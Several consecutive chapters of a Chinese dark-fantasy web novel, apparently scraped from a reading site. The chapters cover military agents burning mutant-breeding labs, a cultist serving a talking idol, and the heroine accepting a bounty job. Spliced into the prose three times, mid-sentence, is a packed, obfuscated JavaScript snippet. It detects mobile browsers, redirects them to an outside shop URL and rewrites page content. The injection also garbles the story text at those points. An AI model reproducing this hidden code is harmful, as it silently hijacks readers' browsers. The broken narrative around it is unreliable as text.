苏妮沉默半晌,才道:“野生幼体难找,就人工培植幼体,但是幼体脱离母体会死亡,所以为了节约成本,那人建议用人类母体培植幼体。” “可是在测试的时候,发生了意外。”苏妮快速说下去,“用母体培育幼体,幼体在发育到16周左右时,会破腹而出,母体迅速干瘪下去,并且畸变种幼体会继承一部分母体性状。” 苏妮舔了舔唇,道:“他们发现这不像是在培育幼体......更像是在改造。” 将人和畸变核融合,可以批量生产异能者。如果将畸变种和人融合,生产出来的是什么呢? 生物有趋光性,那条大肠冲苏妮的方向叫了一声,像婴儿的啼哭。 楚瑜领会到苏妮未尽之意,顿时起了一背的鸡皮疙瘩,吞吞吐吐道:“你说的好像恐怖故事。” 话虽如此,他忍不住离那些笼子远了一些。 苏妮摇了摇头:“我家里人觉得这实验罔顾人伦,不愿意投资,但我听说那人的实验到了后期,培育的畸变种幼体已经初步具备人类思维,甚至能通过图灵测试。” 沈溯忽然看了她一眼,道:“苏小姐应当和家人关系很好,许多人亲生女儿都不一定知道得这么清楚的。” 苏妮耸了耸肩,道:“长姐走了,我这个做妹妹的总得干点事,不能吃白饭。好了,剩余的畸变种都在这里了,搬上车吧,带回军部,这次任务也该结束了。” 苏妮把空的铁笼子挪开,装有畸变种的铁笼搬到门口,楚瑜见她动手,也跟着一起搬。 地下室潮湿昏暗,宋言似乎也不想多呆一秒,绷着脸站在门口清点箱笼,拍照上传。 她站在明暗交界处,光线给她的脸打上一层浓重的黑影,另半边身子却沐浴在阳光中,整个人一分为二。 楚瑜看沈溯一直不出来,刚想喊他,那人便拾阶而上,目光扫过在场每一个人,最后停在宋言身上。 “真的结束了吗?” 宋言回头,沈溯垂眸,视线下移,滑到她袖口:“宋小姐的表怎么不亮了?红灯呢,里面应该有中高阶畸变种的。” “哪怕是尸体。” “总不会是......”沈溯笑了下,好像在和好友玩笑,“宋小姐把这只畸变种吃了吧?” 101. 拾荒者(六) 101 * 沈溯嘴角翘起,眼中却无丝毫笑意,玻璃似的黑色眼珠盯着宋言,像林间穿行的蛇。 “杀了,烧了。”宋言道。 她直直望着他,反问道:“难道沈公子连这点都看不出来?” 沈溯微微挑眉,似乎在考量宋言话语的真实性,苏妮只想快点结束这个任务,打圆场道:“好了好了,有什么事我们回去再扯好不好?先把这些搬到门口吧。” 地下室离大堂有一段距离,楚瑜搬着最重的笼子,肩上高高一摞落在地上,发出沉闷的响声。 在奇形怪状的怪物面前,喧哗声顿时少了一半,有些胆子小的直接尖叫出声,还要压住自己的哭声。 楚瑜额间浮起一层薄汗,背上的火焰枪还背着,他擦了把汗,打算把这些笼子挪到蒋府外面,却被一个女人挡住了去路。 高高摞起的笼子挡住了女人半边身体,楚瑜只看到飘逸的黑色长发,无语道:“大姐,让路。” “你不能,你不能带走它们......” 女人声音空灵又幽怨,只会重复这几句话,楚瑜见是个疯子,低低嘟囔几句,绕过她往门口走。 “你不能带走它们!老爷不会放过你们的!” 女人嘶吼道,隐约透着歇斯底里的愤怒。 一只手搭在笼子上,里面的畸变种睁开眼,浑浊的眼珠转向长发女人。 楚瑜力气大,想直接甩开这个疯婆娘,那只手却重逾千钧,楚瑜越挣扎越无法动弹,他心里一惊,黑发拂过脸侧,他闻到一股发酵酸水的臭味。 笼子落了一地,楚瑜下意识后退:“你......” 铁笼被那只瘦弱纤细的手打开,护栏从中间硬生生折断。楚瑜额间青筋突突地跳,只见那疯女人从中取出一只幼体,骨头脆脆地响了一声,被她合着血肉吞下。 “离她远一点。” 楚瑜背后传来一道冷淡的声音。 楚瑜从未觉得那声音这样顺耳,从地上爬起来,连连退了好几米。 那惊悚的场景远了些,楚瑜智商终于回笼,想起来自己还背着个大杀器,举起火焰枪,扣动扳机,大堂内顿时烧起一片火海。 铁笼内发出一声接一声的尖叫,楚瑜的手很稳,喷枪喷出火龙似的火焰,在空中盘旋。 楚瑜鼻尖闻到一股烧焦蛋白质的味道,脑中忽然想起苏妮的话,如果这些怪物是人融合畸变种的产物,那他现在是在杀人。 这个念头一起,他不禁有些恍惚,耳侧婴孩般的啼哭声放大无数倍,长虹贯日般嵌入脑海。 一缕秀逸的长发拂过他脸侧,女人的脸突然在他眼前放大。火光中那女人不退反进,嘴里咀嚼着什么东西,直直朝楚瑜的方向扑来! 楚瑜悚然一惊,火焰枪朝着女人直喷过去,那能熔化铁笼、穿透畸变种的火焰竟然对女人没有丝毫办法,她细长的八条腿在地上爬行,上半身却还是那张秀美的面庞和乌黑的长发。 [他们发现这不像是在培育幼体......更像是在改造。] 苏妮一刻钟前的话如催命符,在他脑中狠狠敲了一记,楚瑜还没反应过来,女人肚脐便喷出细密的蛛丝,他手脚被绑在一起,难以动弹。 楚瑜急中生智,心念微转,上半身肌肉迅速膨胀,制服裂开,连带着蛛丝也被撕裂成几截,唰唰落地。 那只秀美的蜘蛛似乎有点不理解,又吐出丝线缠上楚瑜上身,火焰枪已经失去效用,楚瑜心里一横,一拳砸向蜘蛛腹部。 他很快为这个决定感到后悔。 蜘蛛腹部破裂,流出许多白白的、软软的卵,楚瑜感觉自己拳头砸到一片温热,他最开始以为是血,怔愣两秒才发现是卵巢。 数不清的白卵从蜘蛛腹部流出,卵膜裂开,指甲盖大小的幼虫钻出,四散逃开,见人就钻。 有的人跑得慢,体表被蜘蛛注入毒素,麻痹倒地,被赶上来的蜘蛛幼虫分食。 有的人跑得快,蜘蛛幼虫便直接从七窍钻入,那些人的身体迅速干瘪下去,像漏了气的气球。 更棘手的是不断有幼虫从母体钻出,女人腹中的卵仿佛无穷无尽,她却只盯着楚瑜,双目空洞:“你是不是要带走我的卵?” 楚瑜的手被蛛丝缠住,心里泛上一阵恶心,不敢作声,只好往苏妮那边看,疯狂眨眼暗示。 苏妮便只好看向另外两人了,她不相信沈家这位继承人真能任由事态发展,连名带姓喊他:“沈溯!” 先回答她的是一道低低的女声。 “有毒针吗?” 苏妮怔了下,连忙回答:“有!但是我没带毒。” 她从衣袖里翻出十几枚毒针,一股脑塞给宋言,宋言便取出几枚,直接在自己手腕上采血。 她声音有些沙哑,似乎想起了什么不好的回忆,道:“不用毒,我就够了。” 托系统的福,她身上还有能用而且不容易露馅的东西。 宋言动作很利落,几枚毒针射向人面蛛,毒素在她身上迅速蔓延,腹中的卵逐渐变成青黑色,不再有新的蜘蛛爬出。 紧接着,一道黑色的火焰从楚瑜身边窜过,先是将蜘蛛母体烧成一堆灰烬,之后四处散开,所经之处,幼虫无所遁形,整个大堂里都充满了烧焦蛋白质混合硫磺的气味。 苏妮职业病发作,见蜘蛛母体被烧死,当即不顾危险,从地上采了一点灰烬装入瓶中,顺便扒拉出几枚焦黑的卵装入另一个试管。做完这些,她想起身离开,却被一只手抓住。 准确地说,是拍住。 火焰避开楚瑜的手,他双手被蛛丝束缚,整个人可怜巴巴地黏在地上,赤裸着上身望来,像被丢弃的小狗。 他大概不常求人,语气有些局促:“那个,天榜第二,你行行好,救救我呗。” 至于为什么不求宋言或者沈溯,答案不言自明。楚瑜觉得,他们会帮自己的可能性,比这个绝命毒师给自己再下一次的毒的可能性还低。 苏妮拿一根银针从头到尾划断了楚瑜手上的束缚,又取出一瓶透明液体融掉地上粘稠的蛛丝,楚瑜终于站起来,揉了揉关节的淤血,不好意思道:“谢谢。” 苏妮没管他,她只看向蒋府大门口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13250076|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋言和沈溯已经先走一步,这边有的没的都被楚瑜加宋言两把火烧干净了,几个破笼子搬回去也没必要。 但是......苏妮眯起眼,刚才宋言在自己身上抽血时,衣袖翻起,她有一瞬看到宋言那块表上红灯闪烁。 是错觉吗? 苏妮眼帘垂下,站在原地,肩膀忽然被人不知轻重地拍了下,楚瑜的声音在耳边响起:“喂,走啦?” 苏妮把那只手掀下去,淡声道:“我不叫喂,我有名字。” 楚瑜:“......啊?” ...... ...... 来时全副武装,走时装备报废了大半,但任务......也算是完成了。 如果完成任务和消灭任务是一个意思的话。 黑白交错的大理石围墙内,烟烧得很高,半边天被熏成灰色。墙外禁卫面无表情,对里面的惊呼声哀嚎声漠不关心。 这样的情景今日在帝都随处可见。 宋言收回目光,车辆缓缓起步。 沈溯方向盘握得很稳,语气缓和:“宋小姐身手真是了得,方才多亏了你。” 宋言只靠着座椅,淡声道:“没什么亏不亏,我只知道既然拿军部的薪水,总不能吃白饭。” 这话就是在暗讽沈溯一直不出力,是个摆着好看的花瓶了。 沈溯闷闷笑了声,似乎是自嘲:“宋小姐,你知道吗,你说话真的很有趣。” 他道:“和你这个人一样有趣。” 宋言阖眼半靠在座椅上,没有说话,后座苏妮和楚瑜两人意外的和谐,也没有言语。沈溯似乎嫌车内太冷清,打开车载蓝牙,清淡的旋律飘出,像雨丝的线。 天色渐渐暗下来,远处灰了一大片,暴雨将至。 车行到中途,宋言指节轻叩车窗,道:“停车。” 沈溯微微挑眉:“宋小姐要下车?还没到军部。” 宋言道:“这是我家。” 车前是一片闹市,人流熙攘,车水马龙,天边小雨如酥,地上湿了一片。 沈溯道:“不如先回军部,下雨了,怕是会淋湿宋小姐。” 宋言抬眼道:“第一,我叫宋言,是军部的雇员。第二......我想下车主要是因为我不想和你呆在一辆车上。” 沈溯默然,须臾,车门被打开。 雨丝如线,草色烟光,苍茫一片。出摊的小贩慌忙收摊,灯牌闪烁,宋言眯起眼,雨水模糊了她的视线。 军部的制服防水,雨凝成珠,附着在衣服表面,别墅离这里还有一段距离,宋言掏出手机,想叫辆车。 屏幕被雨水打湿,怎么都擦不干净,宋言心中升起一股烦闷,抬眼看见许多店铺,又觉得可以找家馆子坐一会。 她正这么想着,头顶雨忽然停了。 雨珠顺着湿透的发落下,“啪嗒”一声,屏幕上多了一滩水渍,一阵熟悉的花果香气漫上宋言鼻尖,转头,那人撑着把黑伞,似乎有些惊讶。 半晌,那双漆黑的眼浮上星星点点的笑意,道:“看来我这把伞送得正是时候。” 102. 拾荒者(七) 102 * 雨水顺着伞檐滴落,如碎珠断线。宋言拧了一把湿透的发,水顺着手臂流下,一股一股,怎么也滴不尽。 她看着对方道:“我怎么总是碰到你?” 姜夜白眨了眨眼,眼睫垂落,眼尾微微翘起:“也许该我问你,宋言,我每次碰到你的时候,你总是把自己搞得很狼狈。” 第一次是大巴上的黑雾,第二次是梦境里稳而狠的一刀,第三次是大雨天,她脸色苍白,昏迷在野外的山洞里。 这人可能真有什么特殊的天赋,别人见到前面有坑,多半绕着走。宋言偏不,她非要亲自试一试这坑的深浅,顺便把坑填平。 姜夜白这般想着。 他手边提着个布袋,袋子里装了些瓜果蔬菜,一颗金色的小脑袋探出来,东张西望一阵,狗一般扑到宋言身上。 触感温暖而干燥,宋言搂着它,心情好了些,反驳道:“你这话没什么道理,说得好像我上赶着见你一样。” 姜夜白笑了下,自嘲道:“是我上赶着见你,谁叫我有见不得人受苦的圣父病呢,看到老奶奶过马路我都得扶一下,人倒在我面前,不救岂不是良心不安?” 宋言嘴角抽搐了下:“你还有这种病?” 姜夜白没有说“是”或“不是”,只是道:“所以说我当不了杀手,也当不了王侯,无用之人莫过于此。” 小金舔了舔宋言掌心,舌头上的倒刺勾得宋言心里发痒,她不太习惯别人在自己面前剖白心迹,安慰道:“也不能这么说,至少你做饭挺好吃的。” 姜夜白没有说话,宋言觉得自己的话可能起到了一点效果,继续道:“比如小金不爱吃我的饭,就爱吃你的饭......做饭这种事情,也不是每个人都能做好的。” 那双黑曜石般的眼睛闪烁了下,浮起微末般的笑意:“照你这么说,我适合当厨子。” 宋言思索片刻,点了点头:“厨子也是很厉害的,我以前有个朋友,在网上做饭,粉丝都喊她妈咪、太太。” “所以说没有无用之人,只有还没发现自己位置的宝物。”宋言道。 姜夜白似乎很受用,全然接受了这番褒赞,他把袋子往上拎了拎,免得被雨水打湿,道:“那我当太太好了,听起来也不错,你今晚想吃什么?” 宋言愣了下,没跟上话题的转变:“啊?” 姜夜白微微挑眉,手上袋子拎高了些,细雨茫茫,天色昏暗,路边餐馆逐渐热闹起来。 他道:“不回去吃饭的话,这边也有餐馆,你想去哪一家?” 宋言“哦”了一声,道:“那还是回家吧,吃什么......我没什么想吃的。” “你可以慢慢想,回去再想也行。”姜夜白道。 ...... ...... 暗室。 烟雾缭绕,神龛之上,神像睁开一只眼。 青木如蒙神谕,橘皮似的脸舒展开,跪坐在地,极尽谦卑虔诚。 对于他这样的人来说,这几乎是一种羞辱,但没有人在那一位面前,能不由衷地感到自己的渺小。 青木也不例外。 他此时的模样,和先前见姜夜白时判若两人,声带喑哑得像被砂石磨砺过,如困兽低吼:“属下青木,承蒙您的召见。” 神像似乎低低笑了声,青木微微抬头,眼中竟是滴血般的猩红,如果研究院的人在这里,会指出这是畸变的前兆。 青木刚想说话,下一瞬,暗室门被推开,来人裹挟着风雨声入内,声音急促:“不好了青木大人,我们在蒋府、李府、孙府的据点都被条子抄了!” 青木漠然回头,来人愣了下。 烟雾缭绕,神佛高卧。 门外风雨不绝,仿佛是另一个世界的光景,这人声音也忍不住低下来:“青木大人,我们搞改造的那些据点全被端了,听留在蒋府那边的人讲,来的都是军部的人,一把火全烧没了!” 这人观察青木脸色,忍不住抬头望了一眼,神龛之上,神像满身黑色裂痕,像某种诡谲的图腾。 神像那只睁开的眼睛,久久凝视着他。 年轻人的声音一下子顿住了。 半晌,青木点头示意他知道了,轻声道:“退下吧。” 年轻人如梦方醒,不敢抬头,手忙脚乱关上了门。 室内重归沉寂。 青木沉吟道:“我们为您降生而制造的那些锚点都损坏了,这有些早,不符合我们的预期。” 在说这些的时候,他始终低着头,对神,哪怕直视都是不敬。 一道低沉的声音从高处传来,有些失真。 “吾的降生也会提前。” 青木思索片刻,道:“那我们之前说过的......” “你在和吾谈条件?”那道声音道。 随着这句话落下,青木脑仁仿佛要炸开,后脑勺针扎般地痛,这位强者在神像面前,仿佛一个被肆意玩弄的木偶,剧烈的疼痛迫使他跪在地上,求饶道:“对不起......我不是有意冒犯。” 烟遮雾笼,神像高高在上投来一瞥,疼痛逐渐平息。青木从地上爬起来,努力平静呼吸,忍不住想起他第一次见到祂时,还只有十五岁。 十五岁,足够一个孩童长成少年,也足够他认清世间种种不公。 十五岁是帝都贵族孩子进入军校的起始年龄,也是平民的最后一次机会。 军校对学生一视同仁,即使出身寒微,靠着出类拔萃的天赋,也能挣得入学名额。 可万人中又有几个担得上“出类拔萃”这四个字?大多人庸常,少数人出挑,就连这少数人都要层层遴选,没有被选上的,也不过得到一句轻飘飘的“不够努力”。 你不够努力。你看,那些天才比你聪明,还比你努力,所以你活该被淘汰。 青木那时候还没有学会凡事从自己身上找问题,他只是可惜拿不到入学名额,军部入学是有奖学金拿的,没谁会和钱过不去。 他原想就此作罢,但是回家路上,他捡到了一座木像。 那木像满身裂痕,像无法祛除的诅咒,青木鬼使神差地把它带回了家。 当晚,青木做了一个梦,他面前有四扇门,三扇上锁,只有一扇,在熊熊黑焰中燃烧。 他推开了那扇门,门后赤焰十里,血海地狱。 如果提前进入天赋塔都称不上出类拔萃,那这个词恐怕找不到它的主人了。 青木以异能者的身份进入军校,每次比赛,第一名后面都跟着他的名字,他曾经以为,他会永远站在这个位置。 他把捡到的那座神像供奉在床头,神像只是死物,但他觉得这是他的转运石。 一切在姜维进入军校后戛然而止。 同样的背景,差不多的年龄,姜维如一轮太阳,遮盖住所有人的光芒。 当然也包括他的。 如果曾经得到,失去就成了一种诅咒,青木开始每天祭拜神像,直到有一天,神像终于开口,说了第一句话。 “吾再帮你一次,你要如何回报吾呢?” 青木低头道:“尽我所有,尽我所能。” 神像让青木每天跟在姜维身后,姜维拥趸很多,如太阳身后的阴影,青木淹没在人群中,姜维甚至不记得他的名字。 青木也很好奇神像要怎么帮他,几乎是抱着看好戏的心态跟在姜维身后,看他追在沈家大小姐身后,看他和宫应撕得不可开交。 很快,神像兑现了祂的承诺,姜维读到二年级的时候退学,只留下最年轻天榜第一和最强天赋的神话。 青木以为他此生不会再见到姜维,他第一眼就讨厌他,没有理由,硬要讲的话,可能是姜维那双太过澄澈的眼睛。 照得他如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268182|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此不堪。 可是不堪又怎么样,他赢了,平民榜的第一又变成了他,他比姜维懂轻重,知道什么时候要弃赛,不能和那帮贵族子弟抢天榜名额。 他这份衿傲在神像再一次开口时被打破。 “你该兑现承诺了,我要你去找姜维,还要你成为他的心腹。” 听到这个要求时,青木怔愣了许久。 如遭雷击,如坠冰窖。 神像说,他当然也可以不去,但他的天赋会被收回。 这比被姜维打败更恐怖。 青木清楚地知道,输给姜维只是输给一个人,但是失去天赋,他会失去所有。 如果曾经得到,失去就成了一种诅咒。 青木找到姜维落脚的地方,漠然敲门,开门的是沈家大小姐,沈姝。 里头还有一些人,都是天榜赫赫有名,他高攀不起的大人物。 姜维见到他,非常兴奋,以为他也是来上梁山的,这天青木被塞了一脑子的“提高平民地位”、“光荣革.命”、“和平过渡”。 他听不懂,也懒得懂,但这些少爷小姐似乎很乐意,他不太明白,怎么还有人想着把自己手里的权力让出来。 姜维说到兴起处,拿根胡萝卜当指挥棒,没轻没重地敲桌子,衣袖扬起,青木看到他手臂上有一圈黑色图腾。 像神像上的裂纹。 青木恍然大悟,从前种种,在这一刻都有了答案,姜维是一轮耀眼的太阳,无论是人,还是神,都围绕着太阳运行。 姜维才是被神像一开始就选中的人,他青木只是个添头。 他的价值仅仅是把神像带到姜维身边,二者相遇,仅此而已。 离开军校对姜维来说,更像是人生的新起点,青木旁观他起高楼,宣信义,广招门徒。他像传奇小说的少年主角,为这个世界带来久违的热血与激情。 青木理所当然地成为了姜维麾下的大将,用姜维的话来说,这叫原始股。 后来姜维登上皇帝的位置,问他想要什么。 钱、权,还是名? 青木垂眸回答,他只希望永远站在陛下身后。 姜维似乎很感动,他以为他和他的相遇始于他那天推开的门,以为他们是同舟共济的战友。青木那天似乎在姜维眼里看到一滴晶莹的泪,那时他心里浮起一阵诡异的快感,天才又怎么样,皇帝又怎么样,还不是被他骗过去了。 神像在姜维身殒那年再次睁眼,下达指令,带走姜维的儿子,离开帝都。 青木愤然出走,荒野上从此多出一个名为“鬼面”的组织。 同年,畸变改造在帝都贵族中悄悄兴起。 十三年后重回故地,青木并没有忘却初心,他想赢,或者说,他想摆脱“失去”这个魔咒。 命运这次似乎站在他这边。 十三年前埋下的种子终于发芽,各路人马相聚于帝都,青木每天打开窗子闻到的空气,都带着一股潮湿的阴谋味道。 有人想清除沉疴,有人思念故国,还有人想掀桌大家一起完蛋。 那么青木想做什么呢? 青木漠然地想,可能是当皇帝吧,当初姜维坐这个位置的时候他就很好奇,这位置真这么舒服,人人争着要坐,与其说是冠冕,他觉得更像催命符。 所以姜维的死他并不可惜,他只可惜他死得太早,他还没来得及看到神像到底要对他做什么。 青木有些好奇,神像的目的到底是什么? 从最开始他捡到这座神像,从此踏上通天之路,到后来他发现他只是个中间商,神像真正的目的是姜维,神像到底想做什么? 青木没有问过这个问题,他清楚地知道,一柄杀人的刀不应该有自己的思想,不应该问主人意欲杀谁。 况且他现在也知道了答案。 神像并不是想要杀谁,神降之日,万物湮灭。 103. 拾荒者(八) 103 * 青木靠着桌案,纾解苦痛,良久,他缓缓睁开眼:“您知道的,我无心冒犯,也许您该给予您的信徒一点宽容。” 皮肉撕裂的苦楚遍布全身,他张开手心,赤红的焰火从皮肉粘连处蹦出来,他在缓慢燃烧。 “宽容......” 烟雾中,那道声音实了些,似乎在思考:“你说得有些道理,吾对你是不是太严苛了。” 明明是宽慰的话,落在青木耳中,却让他身体不自觉绷紧。 他和祂相处多年,祂不该是这个反应。温柔?嗬嗬,神灵没有这个东西。 那么只剩下一个可能...... 青木悚然一惊,他猛然抬眼,神像另一只眼睛也睁开一条缝,眼中无悲无喜,看他如看死物。 皮肉中蹦出的赤焰猛然暴起,他的身影被吞没、燃尽。片刻后,火焰慢慢熄灭,另一个人影缓缓从火中走出。 他似乎不太习惯这具新身体,机械性地抬了抬手,方才从地上站起来。 门外响起几声“笃笃”的敲门声。 “青木”轻声道:“进。” 门被打开。青年戴着副眼镜,镜片后的灰色眼瞳一改往日的温和,如出鞘的刃,直入主题:“我们已经兑现了承诺,帝都今年秋冬不会有粮食输入,最近的几条主要线路也已经被切断,你们打算何时动手?” 伊莱只能看到老者模糊的背影,那人久久没有说话,烟气熏得他有些头晕,他扶了扶眼镜,道:“鬼面的领导者,竟然是藏头露尾之人?” 他笑了一声,从前的温和润泽抛到一边,讥讽道:“鬼面迟迟没有动作,我还以为是因为准备不够......鬼面如果迟迟不动手,我们也不是没有其他合作对象。” 老者终于有了反应,他没有转身,嗓音沧桑:“你打算去找谁?共济.会?拾荒者?还是别的什么?” 暗室之内,风雨不侵,老者声音如针落地,清晰可闻。半晌,他才道:“你也知道这是不可能的事情,不要讲笑话,好吗?” 伊莱久久没有言语。 他压力太大,突然被召进帝都,连着去议会厅开了三天会,折磨人的并不是议会厅里长久的喧闹,而是首座压迫性的目光。 每次对上沈桉漆黑的眼时,他心里总会升起一个念头:他知道他在做什么。 伊莱平复心绪,许久,才平心静气道::“即便如此,鬼面也该告诉我们,我们的交易何时能实现,没有谁能一直等下去。” 他道:“按照之前的条件,鬼面拿下帝都,承认春城独立,和云岚一样不受帝都管辖,我们其他的几个盟区也要求相同的待遇。” 伊莱抬起眼,凝视着老者的背影,对面久久没有回答,久到伊莱几乎以为对方要食言的时候,青木道:“这些都不成问题,如果你们真的做到了所说的话。” 他半身隐埋在黑暗里,烟遮雾绕,神龛上神像的眼睛不知何时已经闭上,看上去就只是一尊普通的神像而已。 干着见不得光的勾当,竟然也会信神吗? 伊莱目光不经意扫过那尊神像,眼眸深了一些。 ...... ...... 夜晚,别墅。 宋言望着餐桌上的红烧鲤鱼、酱烧肘子、凉拌木耳,觉得自己像日剧里无能的阳痿老公。 小金一溜烟从沙发上蹿出去,一蹬三尺远,直奔那盘肥美的鲤鱼,然而天不遂龙愿,在中途被人抓住,姜夜白捏着它七寸,顿时动弹不得。 姜夜白皱眉道:“多少次了还是不长记性,上次吃鱼,一整条吞进去,最后吞盐酸才溶掉喉咙里的刺。” 他声音不大,语气也没多严厉,小金却整条龙蔫了下来,像过季的茄子。 还是镀金的。 对厨子最大的敬意就是把饭吃干净,并且夸赞对方做饭好吃,这是宋言原来世界的基本礼仪,不过人性是相通的,这个世界应该也不会有太大差别。 宋言望着那桌琳琅满目的菜,心里默默叹了口气,道:“我先前说没什么想吃的,并不是客气。” 主要是真的吃不下。 姜夜白听出她话外之意,转而道:“你是在外面吃了什么?” 宋言一时不知道怎么回答。 瞧他神态,问的仿佛不是在外面吃了什么,而是在外面偷吃了什么。 姜夜白见她不想答,眼睫垂下,浮起一层柔柔的雾,转了话题:“你不饿就算了,如果你晚些饿了再说。” 宋言观他神色,心里莫名浮上一丝不好意思,慢吞吞“嗯”了一声,战术性打开手机,随便打开一个网页。 她手腕上的表已经摘了下来,不再滴滴地闪着红光,先前沈溯的怀疑其实没错,但他拿不出证据。 因为证据已经被菌丝吸收了。 小室内除了畸变种幼体外,还有一具巨大的皮蜕,靠在墙角,表面是五彩斑斓的黑,被啃了一小半,闻起来像炭烤蛇肉。 打包带走,当然不如现吃味道鲜美,菌丝很快解决了这具皮蜕,宋言其实觉得这皮蜕四四方方,看起来像什么另类的培养箱。 里面是空的,即使曾经有什么,也该死去了,或者离开了。 至于大堂里伪装成女人的畸变种,宋言并没有从她身上闻到类似蛇肉的味道,尽管二者都让畸变值检测表滴滴冒红光,但绝对不是同一种东西。 菌丝解决皮蜕后肉眼可见地粗壮了不少,系统甚至说话都带几分醉意,告诉宋言现在可以把融合了异能图鉴的那块碎片取出来了。 宋言没有再问它自己能不能回家,这问题已经失去意义,在她发觉有人早就盯上自己,甚至还就潜伏在自己脑子里时,他们之间,就只有你死我活的可能。 宋言看了眼自己的账户余额,觉得现在最大的问题还是缺钱,之前瑞德给她打完尾款,她拿那笔钱又买了一箱基因药,借此爬塔爬到了热狱,手头又有些缺钱。 但也不是不能再赚。 宋言这般想着,又打开了拾荒者的网页,想再接一个任务。 她的个人后台,有人发来私信,时间是几天前。 宋言眨了眨眼,点开那条私信。 [R:有个委托找你,有兴趣吗?] 拾荒者最开始是赏金猎人起家,后来发展成情报打劫委托综合一体的组织,对雇主有着严格的划分标准,划分标准是钱。 有钱可使鬼推磨。古今通理。 而这个R的昵称后面,明晃晃挂着[白金]的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273683|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 标识,是拾荒者对雇主最高一级的认证。 宋言思考片刻,敲下回复。 [2341bb7:委托金多少?] 手机震动,对面似乎正好在看手机。 [R:只要你要,多少我都给得起。] [R:如果你能办到我交代的事的话。] 对方没等宋言回复,直接甩来了一个地点和一张照片。 光线很暗,只看得出黑衣人身量很高,头顶兜帽挨着电线杆子,全身上下没有一寸皮肤露出来。 [R:今晚他会去这个地点,拍到他的正脸照,事成后随你开价。] 宋言缓缓念出这个地点:“来福街道46栋?” 她打开手机搜了下,没有搜到。 耳侧却忽然传来一道声音:“来福街道?为什么要去这里?” 宋言缓缓抬眼,姜夜白不知何时已经坐过来,道:“来福街道啊......这地方挺荒的,这时候应该没什么人。” 他似乎已经忘了刚才的不愉快,打开电子地图,在一角画出红圈:“来福街道就在这里,以前它还不叫来福街道,我记得它以前的名字......是泰来街道。” ......泰来街道。 宋言忍不住抿了抿唇,道:“这里有什么讲究吗?” 姜夜白思索道:“嗯,讲究还挺多的。” “是有暗道、埋伏,还是别的什么?”宋言一个个数过来,猜测道,“不会是人家的据点吧?” “都不是。”姜夜白微微摇头,否决了宋言所有猜测,眼睛亮了亮,语气似乎有些憧憬,“那边土挺松的,埋人特别方便。” 宋言沉默良久,最终道:“师傅你以前是做什么工作的?” “干过挺多的,不过现在从良了。”姜夜白答得很自然。 宋言望了一眼满桌的菜和努力干饭的小金,嘴唇动了动,半晌才道:“......那你们这行还挺多才多艺。” 姜夜白点了点头,道:“技多不压身,多学点东西,日后被炒了,还能再就业。” 话音刚落,那双黑曜石般的眼睛里泛起浮沫般的笑意,涟漪一圈圈扩开,他眨了眨眼,玩笑道:“你不会炒我吧?老板。” “你要是炒了我,我就无处可去了。”姜夜白根本没给宋言说话的机会,径直说下去,“我要流落街头,孩子也得跟着我饿肚子,外面正下雨,说不准会犯风寒,也许第二天就会被人捡走。” 宋言听到这里,忍不住打断他,皱眉道:“哪来的孩子?” 姜夜白指了指认真干饭的小金,理所当然道:“那不是吗?人家养只小猫小狗都叫儿子女儿的,你养了它这么久,不打算给个名分?” “唉。”姜夜白叹了口气,道,“果真是妻不如妾,妾不如偷,你身上沾了蛇的味道,和我说句实话,是不是打算养蛇了?” 小金听见自己被喊到,不知所以地“嗷”了一嗓子,见没有回应,继续干饭。 姜夜白不再说话,客厅里便如死水一般沉寂。 宋言从密度如此大的信息里回过神来,从中拣出几个不像问题的问题,斟酌道:“那......我给小金订个项圈?帝都好像有宠物登记中心,不过小金这样,能过审核吗?” 104. 拾荒者(九) 104 * 宋言望了一眼餐桌,小金感觉一股视线落在自己身上,敏锐地抬起头,一人一龙隔着桌椅遥遥对视,宋言看着它憨傻的模样,顿时觉得自己的决定很有道理。 不给它脖子上挂个项圈,走丢了都找不回来。 想到这里,宋言点开某橙色软件,一键下单定位项圈。 软件风格久违的熟悉,宋言忽然想起从系统那里看来的资料,姜维的出现,起码给帝都现代化快进了五十年。 也不是说之前就不现代化,但电子商务、名牌效应、赏金猎人这些东西确实是姜维带起来的,他把另一个世界的经验和自己的英雄主义糅合在一起,借帝都的土地繁衍,最后孵化出一个哪里都像故乡,但又不是故乡的城市。 宋言总能在帝都的大街小巷发现一些熟悉的影子,广场投屏是长达三分钟的蒂奥广告,每隔几条街道就有一座“肥鸟驿站”。 这些东西和帝都的议会王宫并存,即使创建者已经死去,世间却到处是他的痕迹。 教人想忘也忘不掉。 乡愁啊...... 宋言摇头,甩开这些想法,回到最开始的思绪,手机聊天界面上,对方还在等她的回复。 这位R似乎很有耐心,即使任务时间就在今晚,也不着急催促。 